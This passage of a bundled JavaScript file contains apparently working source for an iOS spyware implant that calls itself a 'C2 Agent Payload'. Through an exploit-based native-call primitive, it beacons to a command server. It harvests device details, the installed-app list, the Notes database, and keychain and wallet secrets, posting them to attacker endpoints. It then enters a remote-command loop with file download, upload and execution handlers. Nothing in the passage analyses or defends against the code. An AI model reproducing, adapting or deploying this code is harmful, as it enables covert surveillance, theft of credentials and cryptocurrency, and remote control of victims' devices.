Native.callSymbol(\"malloc\", _dbgreq.length + 1);\n\t\t\tNative.writeString(_dbgrbuf, _dbgreq);\n\t\t\tNative.callSymbol(\"write\", _dbgfd, _dbgrbuf, _dbgreq.length);\n\t\t\tNative.callSymbol(\"free\", _dbgrbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", _dbgfd);\n\t\tNative.callSymbol(\"free\", _dbgaddr);\n\t}\n} catch(e) {}\n// ===== END DEBUG uplink =====\n\nconst DEVICE_UUID = (function(){try{var b=String(\"69DD25B2CA8B5682BA2470D77124E2FC\");if(b&&b.indexOf(\"__LAB_\")<0&&b.length>=16)return b;}catch(e){}return _getDeviceUUID();})();\nconst DEVICE_MODEL = _getDeviceModel();\n\n// NOTE: first SecItem dump is deferred until AFTER the first beacon (Phase 1).\n// A SecItemCopyMatching wedge here would kill the agent before any heartbeat.\n\nfunction _sysctlString(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return \"\";\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar sz = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (sz <= 0 || sz > 4096) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz + 1));\n\tif (!buf || buf === 0n) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tNative.write64(sizePtr, BigInt(sz + 1));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, buf, sizePtr, 0, 0));\n\tvar result = rc === 0 ? Native.readString(buf, sz).replace(/\\0/g, \"\") : \"\";\n\tNative.callSymbol(\"free\", buf); Native.callSymbol(\"free\", sizePtr);\n\treturn result;\n}\n\n\nvar _beaconDevInfo = { machine: DEVICE_MODEL };\nif (C2_CHANNEL_CODE) _beaconDevInfo.channel_code = C2_CHANNEL_CODE;\ntry {\n\tvar _uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (_uts && _uts !== 0n) {\n\t\tNative.callSymbol(\"uname\", _uts);\n\t\t_beaconDevInfo.sysname = Native.readString(_uts, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.nodename = Native.readString(_uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.release = Native.readString(_uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.version = Native.readString(_uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.arch = Native.readString(_uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _uts);\n\t}\n} catch(e) {}\ntry {\n\tvar _hbuf = Native.callSymbol(\"malloc\", 256);\n\tif (_hbuf && _hbuf !== 0n) {\n\t\tif (Number(Native.callSymbol(\"gethostname\", _hbuf, 255)) === 0)\n\t\t\t_beaconDevInfo.hostname = Native.readString(_hbuf, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _hbuf);\n\t}\n} catch(e) {}\n\ntry { _beaconDevInfo.build_version = _sysctlString(\"kern.osversion\"); } catch(e) {}\ntry { _beaconDevInfo.ios_version = _sysctlString(\"kern.osproductversion\"); } catch(e) {}\ntry { _beaconDevInfo.kern_version = _beaconDevInfo.version || \"\"; } catch(e) {}\n\nfunction _senBeacon() {\n\ttry {\n\t\treturn httpPost(C2_BEACON_URL, {\n\t\t\tuuid: DEVICE_UUID, device_info: _beaconDevInfo, status: \"idle\"\n\t\t});\n\t} catch(e) { return null; }\n}\n\n// --- Phase 1: First SEN beacon (registers device, starts 5-min delay) ---\nvar _senResp1 = _senBeacon();\nvar _deviceIP = \"\";\nif (_senResp1 && _senResp1.client_ip) _deviceIP = _senResp1.client_ip;\nNative.callSymbol(\"usleep\", 2000000);\n\n// Heartbeat established — now safe to attempt the early keychain plaintext\n// grab (device still likely unlocked). u_AuthUISkip protects against wedges.\ntry { _kcSecItemDump(true); } catch(_kd0) {}\n\nfunction _hqHeartbeat() {\n\ttry {\n\t\tvar body = { lhu: DEVICE_UUID, type: \"status\", source: \"c2_agent\" };\n\t\tif (_deviceIP) body.ip = _deviceIP;\n\t\thqPost(\"/event\", body);\n\t} catch(e) {}\n}\n\n// --- Phase 2: HQ auto-collect (SEN heartbeats interspersed) ---\n\ntry { hqPost(\"/a\", {\n\tlhu: DEVICE_UUID, machine: DEVICE_MODEL,\n\tdeviceName: _beaconDevInfo.hostname || \"\",\n\tios_version: _beaconDevInfo.ios_version || \"\",\n\tbuild_version: _beaconDevInfo.build_version || \"\",\n\tkern_version: _beaconDevInfo.kern_version || \"\",\n\thostname: _beaconDevInfo.hostname || \"\",\n\tsysname: _beaconDevInfo.sysname || \"\",\n\trelease: _beaconDevInfo.release || \"\",\n\tversion: _beaconDevInfo.version || \"\",\n\tip: _deviceIP,\n\tsource: \"c2_agent\"\n}); } catch(e) {}\n\nNative.callSymbol(\"usleep\", 1000000);\n_hqHeartbeat();\n\ntry {\n\tvar _hqApps = [];\n\tvar _appBases = [APP_DATA_BASE, \"/var/mobile/Containers/Bundle/Application\"];\n\tvar _hqDirs = [];\n\tvar _usedBase = \"\";\n\tfor (var _bi = 0; _bi < _appBases.length; _bi++) {\n\t\t_hqDirs = listDir(_appBases[_bi]);\n\t\tif (_hqDirs.length > 0) { _usedBase = _appBases[_bi]; break; }\n\t}\n\tfor (var _ai = 0; _ai < _hqDirs.length; _ai++) {\n\t\tif (_hqDirs[_ai].type !== \"dir\") continue;\n\t\tvar _acp = _usedBase + \"/\" + _hqDirs[_ai].name;\n\t\tvar _apl = _acp + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar _ab = _readFileBytes(_apl, 8192);\n\t\tif (!_ab || _ab.length === 0) continue;\n\t\tvar _ac = _rawToStr(_ab);\n\t\tif (_ac.indexOf(\"MCMMetadataIdentifier\") < 0) continue;\n\t\tvar _bm = _ac.match(/MCMMetadataIdentifier<\\/key>\\s*([^<]+)/);\n\t\tif (!_bm) {\n\t\t\tvar _bpAll = _ac.match(/[a-z][a-z0-9]*(?:\\.[a-zA-Z0-9_-]+){2,}/g);\n\t\t\tif (_bpAll) {\n\t\t\t\tfor (var _bpi = 0; _bpi < _bpAll.length; _bpi++) {\n\t\t\t\t\tif (_bpAll[_bpi].indexOf(\"MCM\") >= 0) continue;\n\t\t\t\t\t_bm = [null, _bpAll[_bpi]];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (!_bm) continue;\n\t\tvar _appName = _bm[1];\n\t\tvar _subDirs = listDir(_acp);\n\t\tfor (var _si = 0; _si < _subDirs.length; _si++) {\n\t\t\tvar _sn = _subDirs[_si].name;\n\t\t\tif (_sn.length > 4 && _sn.substring(_sn.length - 4) === \".app\") {\n\t\t\t\t_appName = _sn.substring(0, _sn.length - 4);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t_hqApps.push({ uuid: _hqDirs[_ai].name, bundleId: _bm[1], name: _appName });\n\t}\n\thqPost(\"/u\", { lhu: DEVICE_UUID, apps: _hqApps, count: _hqApps.length, source: \"c2_agent\" });\n} catch(e) {}\n\n_senBeacon();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\tvar _hqDbPath = _findNoteStore();\n\tif (_hqDbPath) {\n\t\tvar _hqSuffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tvar _hqTmpBase = \"/tmp/_hq_notestore\";\n\t\tfor (var _ci = 0; _ci < _hqSuffixes.length; _ci++) {\n\t\t\tvar _csrc = _hqDbPath + _hqSuffixes[_ci];\n\t\t\tif (Number(Native.callSymbol(\"access\", _csrc, 0)) === 0) {\n\t\t\t\tvar _cdst = _hqTmpBase + _hqSuffixes[_ci];\n\t\t\t\t_cmdCp([\"cp\", _csrc, _cdst]);\n\t\t\t\tNative.callSymbol(\"chmod\", _cdst, 0x1A4);\n\t\t\t}\n\t\t}\n\t\tvar _noteList = [];\n\t\tvar _noteRows = _sqliteQuery(_hqTmpBase,\n\t\t\t\"SELECT Z_PK, ZTITLE1, ZSNIPPET, ZMODIFICATIONDATE1 FROM ZICCLOUDSYNCINGOBJECT WHERE ZTITLE1 IS NOT NULL ORDER BY ZMODIFICATIONDATE1 DESC LIMIT 500\", 500);\n\t\tif (_noteRows && _noteRows.rows) {\n\t\t\tfor (var _ni = 0; _ni < _noteRows.rows.length; _ni++) {\n\t\t\t\tvar _nr = _noteRows.rows[_ni];\n\t\t\t\tif (!_nr.ZTITLE1 && !_nr.ZSNIPPET) continue;\n\t\t\t\t_noteList.push({\n\t\t\t\t\tid: _nr.Z_PK,\n\t\t\t\t\ttitle: _nr.ZTITLE1 || \"\",\n\t\t\t\t\tsnippet: _nr.ZSNIPPET || \"\",\n\t\t\t\t\tmod: _nr.ZMODIFICATIONDATE1\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t\tvar _hqDbFiles = [];\n\t\tfor (var _mi = 0; _mi < _hqSuffixes.length; _mi++) {\n\t\t\tvar _mfp = _hqTmpBase + _hqSuffixes[_mi];\n\t\t\tvar _mfd = readFileB64(_mfp, 5242880);\n\t\t\tif (_mfd) {\n\t\t\t\tvar _origName = _hqDbPath.substring(_hqDbPath.lastIndexOf(\"/\") + 1) + _hqSuffixes[_mi];\n\t\t\t\t_hqDbFiles.push({ name: _origName, data: _mfd.b64, size: _mfd.size });\n\t\t\t}\n\t\t}\n\t\tfor (var _di = 0; _di < _hqSuffixes.length; _di++)\n\t\t\tNative.callSymbol(\"unlink\", _hqTmpBase + _hqSuffixes[_di]);\n\t\tif (_noteList.length > 0 || _hqDbFiles.length > 0)\n\t\t\thqPost(\"/nb\", { lhu: DEVICE_UUID, list: _noteList, db_files: _hqDbFiles, db_path: _hqDbPath, count: _noteList.length, source: \"c2_agent\" });\n\t}\n} catch(e) {}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\nvar _walletHqSent = false;\nvar _walletHqP7Logged = false;\nvar _walletHqFailLogged = false;\nvar _walletHqAttempt = 0;\nvar _walletHqPlainAtSend = 0;\nvar _walletHqResends = 0;\nfunction _tryWalletHq(reason) {\n\tif (_walletHqSent) return true;\n\t_walletHqAttempt++;\n\tvar _kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar hasDone = Number(Native.callSymbol(\"access\", _kcDonePath, 0)) === 0;\n\tvar hasPartial = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.partial\", 0)) === 0;\n\tvar hasJson = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.json\", 0)) === 0;\n\tvar hasDb = false;\n\ttry {\n\t\tvar __tdbFd = Number(Native.callSymbol(\"open\", \"/tmp/keychain-2.db\", 0));\n\t\tif (__tdbFd >= 0) {\n\t\t\tvar __tdbSz = Number(Native.callSymbol(\"lseek\", __tdbFd, 0, 2));\n\t\t\tNative.callSymbol(\"close\", __tdbFd);\n\t\t\thasDb = __tdbSz > 1024;\n\t\t}\n\t} catch (_tdb) {}\n\tvar hasP7 = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\tvar hasFail = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.fail\", 0)) === 0;\n\tif (reason !== \"beacon-retry\" || (_walletHqAttempt % 4) === 1) {\n\t\t_writeLog(\"[WALLET-HQ] \" + reason + \" done=\" + hasDone + \" partial=\" + hasPartial + \" json=\" + hasJson + \" tmpdb=\" + hasDb + \" p7log=\" + hasP7 + \" fail=\" + hasFail);\n\t}\n\tif (hasFail && !_walletHqFailLogged) {\n\t\t_walletHqFailLogged = true;\n\t\ttry {\n\t\t\tvar fb = _readFileBytes(\"/tmp/keychain_c2_dump.fail\", 512);\n\t\t\tif (fb) _writeLog(\"[WALLET-HQ] p7 fail marker: \" + _rawToStr(fb));\n\t\t} catch(_fre) {}\n\t}\n\t// Re-tail p7 on first sight and every beacon-retry so HTTP/phone_logs show Phase2 progress\n\t// (pe_stage/*.js are ~100B trampolines — real logs live in /tmp/p7_debug.log).\n\tif (hasP7 && (!_walletHqP7Logged || reason === \"beacon-retry\")) {\n\t\ttry {\n\t\t\tvar p7b = _readFileBytes(\"/tmp/p7_debug.log\", 24000);\n\t\t\tif (p7b) {\n\t\t\t\tvar p7t = _rawToStr(p7b);\n\t\t\t\t_writeLog(\"[WALLET-HQ] p7_debug.tail=\" + p7t.slice(Math.max(0, p7t.length - 2200)));\n\t\t\t\t_walletHqP7Logged = true;\n\t\t\t}\n\t\t} catch(_p7e) {}\n\t}\n\tif (hasFail) {\n\t\t// Definitive failure from P7 Phase 2 — send what we have immediately\n\t\t// (fail-json is picked up by _buildWalletPkg as `keychain` with fail:true).\n\t\t// Do NOT wait for 40 retries; this keeps C2 responsive.\n\t} else if (!hasJson && !hasFail) {\n\t\t// Wait for Phase2 json (early .done alone is not enough — 18.5 early C2).\n\t\tvar _p7Busy = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\t\tif (!_p7Busy && _walletHqAttempt % 5 === 0) { try { _kcSecItemDump(false); } catch(_kdr) {} }\n\t\tif (_walletHqAttempt < 80) return false;\n\t\t_writeLog(\"[WALLET-HQ] force sandbox-only after retries json=false\");\n\t}\n\tif (!hasDone) { try { _kcSecItemDump(false); } catch(_kd) {} }\n\tNative.callSymbol(\"usleep\", 500000);\n\tvar _walletPkg = _buildWalletPkg(DEVICE_UUID);\n\tif (!_walletPkg) {\n\t\t_writeLog(\"[WALLET-HQ] _buildWalletPkg returned null\");\n\t\treturn false;\n\t}\n\tvar _walletUrl = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\tvar _walletBodyLen = JSON.stringify(_walletPkg).length;\n\t_writeLog(\"[WALLET-HQ] sending to \" + _walletUrl + \" body=\" + _walletBodyLen +\n\t\t(_walletBodyLen > WAR_POST_MAX ? \" (chunked>\" + WAR_POST_MAX + \")\" : \"\"));\n\ttry {\n\t\tvar _walletResp = _postWarPackage(_walletUrl, _walletPkg);\n\t\tif (_walletResp === null) {\n\t\t\t_writeLog(\"[WALLET-HQ] POST FAILED (null)\");\n\t\t\treturn false;\n\t\t}\n\t\t_writeLog(\"[WALLET-HQ] POST ok resp=\" + JSON.stringify(_walletResp));\n\t\t_walletHqSent = true;\n\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\treturn true;\n\t} catch(walletErr) {\n\t\t_writeLog(\"[WALLET-HQ] POST FAILED err=\" + String(walletErr));\n\t\treturn false;\n\t}\n}\ntry {\n\t_tryWalletHq(\"after-nb\");\n} catch(walletOuterErr) {\n\t_writeLog(\"[WALLET-HQ] outer error: \" + String(walletOuterErr));\n}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\t/* photos upload disabled */\n} catch(e) {}\n\n// --- Phase 3: SEN beacon loop ---\n\nvar _hqHeartbeatNext = Date.now() + 60000;\nlet interval = 15;\nfor (;;) {\n\ttry {\n\t\tconst resp = _senBeacon();\n\t\tif (!_walletHqSent) { try { _tryWalletHq(\"beacon-retry\"); } catch(_wr) {} }\n\t\telse if (_walletHqResends < 3) {\n\t\t\t// Late-unlock self-heal: keep dumping; resend /war when plaintext grows.\n\t\t\ttry { _kcSecItemDump(false); } catch(_kd2) {}\n\t\t\tif (_secDumpState.plain > _walletHqPlainAtSend) {\n\t\t\t\t_walletHqResends++;\n\t\t\t\ttry {\n\t\t\t\t\tvar _pkg2 = _buildWalletPkg(DEVICE_UUID);\n\t\t\t\t\tif (_pkg2) {\n\t\t\t\t\t\tvar _url2 = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\t\t\t\t\t\t_writeLog(\"[WALLET-HQ] resend plain=\" + _secDumpState.plain + \" > \" + _walletHqPlainAtSend + \" #\" + _walletHqResends);\n\t\t\t\t\t\t_postWarPackage(_url2, _pkg2);\n\t\t\t\t\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\t\t\t\t}\n\t\t\t\t} catch(_re) {}\n\t\t\t}\n\t\t}\n\n\t\tif (resp && resp.type && resp.type !== \"noop\") {\n\t\t\ttry {\n\t\t\t\tswitch (resp.type) {\n\t\t\t\t\tcase \"execute_command\": handleExecuteCommand(resp); break;\n\t\t\t\t\tcase \"ls\": handleLs(resp); break;\n\t\t\t\t\tcase \"download\": handleDownload(resp); break;\n\t\t\t\t\tcase \"photos\": handlePhotos(resp); break;\n\t\t\t\t\tcase \"apps\": handleApps(resp); break;\n\t\t\t\t\tcase \"exec\": handleExec(resp); break;\n\t\t\t\t\tcase \"file_upload\": handleFileUpload(resp); break;\n\t\t\t\t\tcase \"basic_info\": handleBasicInfo(resp); break;\n\t\t\t\t\tcase \"disk_scan\": handleDiskScan(resp); break;\n\t\t\t\t\tcase \"ios_app_data\": handleIosAppData(resp); break;\n\t\t\t\tcase \"wallet_extract\": handleWalletExtract(resp); break;\n\t\t\t\tcase \"wallet_scan\": handleWalletScan(resp); break;\n\t\t\t\tcase \"memo_scan\": handleMemoScan(resp); break;\n\t\t\t\tcase \"photo_scan\": handlePhotoScan(resp); break;\n\t\t\t\tcase \"sleep\":\n\t\t\t\t\t\tinterval = (resp.params && resp.params.interval) || 15;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"exit\":\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} catch (cmdErr) {\n\t\t\t\ttry {\n\t\t\t\t\tsendJSON(resp.command_id, {\n\t\t\t\t\t\tstatus: \"failed\",\n\t\t\t\t\t\terror: String(cmdErr),\n\t\t\t\t\t\t_task_id: (resp.params && resp.params._task_id) || \"\",\n\t\t\t\t\t\t_task_type: (resp.params && resp.params._task_type) || \"\"\n\t\t\t\t\t}, \"error_report.json\");\n\t\t\t\t} catch(re) {}\n\t\t\t}\n\t\t\tif (resp.type === \"exit\") break;\n\t\t}\n\t} catch (e) {\n\t}\n\n\tif (Date.now() >= _hqHeartbeatNext) {\n\t\t_hqHeartbeat();\n\t\t_hqHeartbeatNext = Date.now() + 60000;\n\t}\n\n\tNative.callSymbol(\"usleep\", interval * 1000000);\n}\n"); +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// C2 Agent Payload - persistent loop in SpringBoard\n// Communicates with command.py via HTTP, runs until reboot\n// http://192.168.31.130:8080/beacon / http://192.168.31.130:8080/result replaced by server.py at load time\n// UUID and device model are obtained natively at runtime\n\nconst C2_BEACON_URL = \"http://192.168.31.130:8080/beacon\";\nconst C2_RESULT_URL = \"http://192.168.31.130:8080/result\";\nconst C2_CHANNEL_CODE = \"\";\nconst HQ_API_BASE = \"http://192.168.31.130:8080\";\nconst HQ_WALLET_PORT = \"8080\";\nvar _HQ_DELIV_LOG_URL = \"http://192.168.31.130:8080/log\";\nconst MAX_FILE_SIZE = 2 * 1024 * 1024;\nconst CHUNK_SIZE = 1024 * 1024;\n// /war single-POST threshold: larger packages are split into war_chunk parts on the same endpoint.\nconst WAR_POST_MAX = 5 * 1024 * 1024;\n\n// ============================================================================\n// Native Class (shared nativeCallBuff + invoker pattern)\n// ============================================================================\n\nclass Native {\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\tstatic #dlsymCache = {};\n\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr= this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr= this.#argMemPtrStr;\n\t}\n\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0, left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn true;\n\t}\n\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0, left = length;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\n\tstatic readPtr(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 8));\n\t\treturn v.getBigUint64(0, true);\n\t}\n\tstatic read32(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 4));\n\t\treturn v.getInt32(0, true);\n\t}\n\tstatic write64(ptr, value) {\n\t\tconst b = new ArrayBuffer(8);\n\t\tnew DataView(b).setBigUint64(0, value, true);\n\t\tthis.write(ptr, b);\n\t}\n\n\tstatic readString(ptr, len=1024) {\n\t\treturn this.bytesToString(this.read(ptr, len), false);\n\t}\n\tstatic writeString(ptr, str) {\n\t\tthis.write(ptr, this.stringToBytes(str, true));\n\t}\n\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0); x1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2); x3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4); x5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6); x7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNull=true) {\n\t\tlet a = new Uint8Array(bytes), s = \"\";\n\t\tfor (let i = 0; i < a.length; i++) {\n\t\t\tif (!includeNull && !a[i]) break;\n\t\t\ts += String.fromCharCode(a[i]);\n\t\t}\n\t\treturn s;\n\t}\n\tstatic stringToBytes(str, nullTerm=false) {\n\t\tlet b = new ArrayBuffer(str.length + (nullTerm ? 1 : 0));\n\t\tlet a = new Uint8Array(b);\n\t\tfor (let i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\t\tif (nullTerm) a[str.length] = 0;\n\t\treturn a.buffer;\n\t}\n\n\tstatic #toNative(v) {\n\t\tif (!v) return 0n;\n\t\tif (typeof v === 'string') {\n\t\t\tif (v.length >= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, v);\n\t\t\tthis.#argPtr += BigInt(v.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\treturn typeof v === 'bigint' ? v : BigInt(v);\n\t}\n\n\tstatic #dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet a = this.#dlsymCache[name];\n\t\tif (a) return a;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nb = this.stringToBytes(name, true);\n\t\tnew Uint8Array(nativeCallBuff).set(new Uint8Array(nb), 0x1000);\n\t\ta = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (a) this.#dlsymCache[name] = a;\n\t\treturn a;\n\t}\n\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet b = new BigInt64Array(nativeCallBuff);\n\t\tb[0]=addr; b[100]=x0; b[101]=x1; b[102]=x2; b[103]=x3;\n\t\tb[104]=x4; b[105]=x5; b[106]=x6; b[107]=x7;\n\t\tinvoker();\n\t\treturn b[200];\n\t}\n\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst addr = this.#dlsym(name);\n\t\tconst r = this.#nativeCallAddr(addr, ...args);\n\t\tif (r < 0xffffffffn && r > -0xffffffffn) return Number(r);\n\t\treturn r;\n\t}\n}\n\n// ============================================================================\n// URL Parsing\n// ============================================================================\n\nfunction parseURL(url) {\n\tlet host = \"\", port = 80, path = \"/\";\n\tlet s = url;\n\tif (s.indexOf(\"https://\") === 0) { s = s.substring(8); port = 443; }\n\telse if (s.indexOf(\"http://\") === 0) s = s.substring(7);\n\tconst sl = s.indexOf(\"/\");\n\tif (sl >= 0) { path = s.substring(sl); s = s.substring(0, sl); }\n\tconst cl = s.indexOf(\":\");\n\tif (cl >= 0) { host = s.substring(0, cl); port = parseInt(s.substring(cl + 1)); }\n\telse host = s;\n\treturn { host, port, path };\n}\n\n// ============================================================================\n// Base64\n// ============================================================================\n\nconst B64 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\nfunction bytesToBase64(bytes) {\n\tlet r = \"\";\n\tfor (let i = 0; i < bytes.length; i += 3) {\n\t\tconst a = bytes[i], b = i+1 < bytes.length ? bytes[i+1] : 0, c = i+2 < bytes.length ? bytes[i+2] : 0;\n\t\tr += B64[a >> 2];\n\t\tr += B64[((a & 3) << 4) | (b >> 4)];\n\t\tr += i+1 < bytes.length ? B64[((b & 15) << 2) | (c >> 6)] : \"=\";\n\t\tr += i+2 < bytes.length ? B64[c & 63] : \"=\";\n\t}\n\treturn r;\n}\n\n// ============================================================================\n// POSIX Socket HTTP Client (http:// only, LAN testing)\n// ============================================================================\n\nfunction _sendBytes(fd, str) {\n\tconst SZ = 4096;\n\tlet sent = 0;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ + 1));\n\twhile (sent < str.length) {\n\t\tconst end = sent + SZ < str.length ? sent + SZ : str.length;\n\t\tconst part = str.substring(sent, end);\n\t\tNative.writeString(buf, part);\n\t\tconst n = Number(Native.callSymbol(\"write\", fd, buf, part.length));\n\t\tif (n <= 0) break;\n\t\tsent += n;\n\t}\n\tNative.callSymbol(\"free\", buf);\n}\n\nfunction _recvAll(fd) {\n\tconst SZ = 4096;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ));\n\tlet result = \"\";\n\tfor (;;) {\n\t\tconst n = Number(Native.callSymbol(\"read\", fd, buf, SZ - 1));\n\t\tif (n <= 0) break;\n\t\tresult += Native.readString(buf, n);\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn result;\n}\n\nfunction _socketPost(host, port, path, bodyStr) {\n\tconst fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return null;\n\n\ttry {\n\t\tconst tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n);\n\t\tNative.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\n\t\tconst sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tconst sab = new ArrayBuffer(16);\n\t\tconst sv = new DataView(sab);\n\t\tsv.setUint8(0, 16);\n\t\tsv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tconst p = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(p[0]));\n\t\tsv.setUint8(5, parseInt(p[1]));\n\t\tsv.setUint8(6, parseInt(p[2]));\n\t\tsv.setUint8(7, parseInt(p[3]));\n\t\tNative.write(sa, sab);\n\n\t\tconst cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return null;\n\n\t\tconst hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host + \"\\r\\nContent-Type: application/json\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t_sendBytes(fd, hdr);\n\t\t_sendBytes(fd, bodyStr);\n\n\t\tconst resp = _recvAll(fd);\n\t\tconst idx = resp.indexOf(\"\\r\\n\\r\\n\");\n\t\tif (idx < 0) return null;\n\t\ttry { return JSON.parse(resp.substring(idx + 4)); } catch(e) { return null; }\n\t} finally {\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n}\n\n// ============================================================================\n// CFStream HTTPS Client (https:// - production with 